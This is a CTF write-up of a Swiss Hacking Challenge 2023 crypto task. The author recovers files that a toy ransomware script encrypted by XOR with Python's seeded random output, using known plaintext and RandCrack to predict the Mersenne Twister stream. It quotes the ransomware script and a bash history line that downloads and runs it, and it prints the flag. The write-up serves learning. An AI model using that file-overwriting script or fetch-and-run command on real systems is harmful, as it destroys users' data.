Swiss Hacking Challenge 2023 - unm0unt41n

Posted on Apr 23, 2023

Information

Challenge category: crypto

Challenge Description

Sh1t! I really wanted to post the pictures from last year’s competition earlier on the SHC website but then someone hacked our server and encrypted all data— I have really no idea about crypto But I heard you’re an 31337 hacker, I’m sure you can recover our images, right? RIGHT?! Yours sincerely, a sysadmin in despair

Files

We are given an unm0unt41n.zip file

Analysis

The zip file

Upon extracting the zip file we see the following structure:

home
+-- .bash_history
\-- shc
    +-- home.html
    +-- imgs
    |   +-- ECSC_2022_img_10.jpg
    |   +-- SHC_Final_2022_img_00.jpg
    |   +-- SHC_Final_2022_img_04.jpg
    |   +-- SHC_Final_2022_img_08.jpg
    |   +-- SHC_Final_2022_img_09.jpg
    |   +-- SHC_Final_2022_img_30.jpg
    |   \-- SHC_Final_2022_img_37.jpg
    \-- solves
        +-- solves_1970-05-05.txt
        +-- solves_1971-07-22.txt
        ---

Everything inside shc/ is encrypted and can’t be read.

Bash history

There is a .bash_history file in the archive, when looking at it we notice there has been a script downloaded:

$ cat home/.bash_history 
whoami
ls -la
pwd
lsb_release -a
sudo -l
wget https://pastebin.com/raw/hXqpyZQB
python3 hXqpyZQB shc/
echo -n "Haha you've been hacked!" > /etc/motd

Python script

We can download the python script and see the following contents:

$ wget https://pastebin.com/raw/hXqpyZQB
$ cat hXqpyZQB
import random
import requests
import os
from pathlib import Path
from sys import argv

s = int(requests.get("https://pastebin.com/raw/jqZGy0nL").text)
random.seed(s)

if len(argv) != 2:
    print(f"usage: {argv[0]} ransomware_target")
    exit(1)

path = Path(argv[1])
for p in sorted(path.rglob("*")):
    if os.path.isfile(p):
        print("encrypt", p)
        with open(p, "rb") as fp:
            c = fp.read()

        s = b""
        for _ in range((len(c) + 3) // 4):
            s += random.getrandbits(32).to_bytes(4, "big")
        cenc = b"".join([ bytes([s[i] ^ c[i]]) for i in range(len(c))])

        with open(p, "wb+") as fp:
            fp.write(cenc)

The script does the following:

  1. Import some libraries
  2. Get the text from some pastebin link and seed the randomness with it
  3. Check if an argument has supplied
  4. Loop through every file in the specified directory
  5. XOR every 4 bytes of the file with 32 bits of random numbers
  6. Overwrite the original file

Here comes the first problem: The pastebin at https://pastebin.com/raw/jqZGy0nL seems to have been deleted, thus we have lost the encryption key.

Seeding of random numbers: If we seed the random generator in python with the seed() function, it would always return the same random numbers in the same sequence. If the seed is known, the randomness can be predicted.

Exploitation

Obtaining the encryption key

What if the home.html file inside of the shc folder is the same as on the SHC website? We could possibly get the encryption key for said file and decrypt the rest of the files.

How does XOR “encryption” work?

XOR or “Exclusive-OR” is a logic gate with 2 inputs that only returns 1 if one of the outputs is 1 and the other one is 0

Example:

Input 1 Input 2 Output
0 0 0
1 1 0
0 1 1
1 0 1

If applying XOR again, we get the original value. Example: XORing 0001 twice with 1111:

0001 -> 1110 -> 0001
XOR     XOR

We can however also get back the value that has been used for XORing by XORing the encrypted value by the original one:

1110 XOR 0001 -> 1111

Decrypting home.html

Downloading the home.html from the SHC homepage:

wget https://www.swiss-hacking-challenge.ch/home.html

XORing both files using python:

with open('./shc/home.html', 'rb') as f:
    encrypted = f.read()

with open('./home.html', 'rb') as f:
    decrypted = f.read()

xor = bytes([b ^ a for a, b in zip(encrypted, decrypted)])

with open('./home-encryptionkey.html', 'wb') as f:
    f.write(xor)

Breaking the randomness in python

The encryption key in its current state is kind of useless. In the source code of the “virus” we can see that we continuously generate random bytes for the encryption.

Our current key can only decrypt home.html which is useless.

Randomness in python however isn’t really random. As soon as we know the first 624 outputs of random.getrandbits(32), we can generate the next random numbers. There is a library in python called RandCrack that does exactly this for us. We can verify it working:

import randcrack 
# Open encryption key
with open('./home-encryptionkey.html', 'rb') as f:
    key = f.read()

# Convert the bytes to 32 bit integers
key = [int.from_bytes(key[i:i+4], "big") for i in range(0, len(key), 4)]

rc = randcrack.RandCrack()
for i in range(0,624):
    rc.submit(key[i])

for i in range(624,725):
    print(f"{key[i]} should be {rc.predict_getrandbits(32)}")

The script works:

3857996330 should be 3857996330
2485211247 should be 2485211247
3238080926 should be 3238080926
3596933227 should be 3596933227
--- and so on

Modifying the original script

The following script is basically same as the original one, except that it doesn’t seed the random numbers but uses RandCrack to guess the numbers. As home.html was the first file encrypted we can guess the encryption key for all the other files as well.

import random
import requests
import os
from pathlib import Path
from sys import argv
import randcrack

# Open the encryption key
with open('./home-encryptionkey.html', 'rb') as f:
    key = f.read()

# Convert the bytes to 32 bit integers
key = [int.from_bytes(key[i:i+4], "big") for i in range(0, len(key), 4)]

# initialize randcrack
rc = randcrack.RandCrack()
for i in range(0,624):
    rc.submit(key[i])
rand_counter = 0

# Custom function for getting random bits
def getrandbits(n):
    global rand_counter
    global key
    rand_counter += 1
    # we read the first 624 iterations from the known key
    if rand_counter <= 624:
        return key[rand_counter-1]
    # Predict randomness :D
    return rc.predict_getrandbits(n)


if len(argv) != 2:
    print(f"usage: {argv[0]} ransomware_target")
    exit(1)

path = Path(argv[1])
for p in sorted(path.rglob("*")):
    if os.path.isfile(p):
        print("encrypt", p)
        with open(p, "rb") as fp:
            c = fp.read()

        s = b""
        for _ in range((len(c) + 3) // 4):
            s += getrandbits(32).to_bytes(4, "big")
        cenc = b"".join([ bytes([s[i] ^ c[i]]) for i in range(len(c))])

        with open(p, "wb+") as fp:
            fp.write(cenc)

We can then run the script: python3 decrypt.py shc

Now all of the files are decrypted again :D

Flag

To find the flag, we just grep for shc2023{ in the shc folder:

grep -ir "shc2023{" shc

We find the flag: shc2023{w000ps_y0u_s4y_pyth0n_54nd0m_is_n0t_t5uly_54nd0m?}

Conclusion

I’ve learned a lot about randomness in python and how XOR works. I spent way too long on trying to restore the random seed while it wasn’t even required for the solution.

References

  1. https://en.wikipedia.org/wiki/XOR_cipher
  2. https://github.com/tna0y/Python-random-module-cracker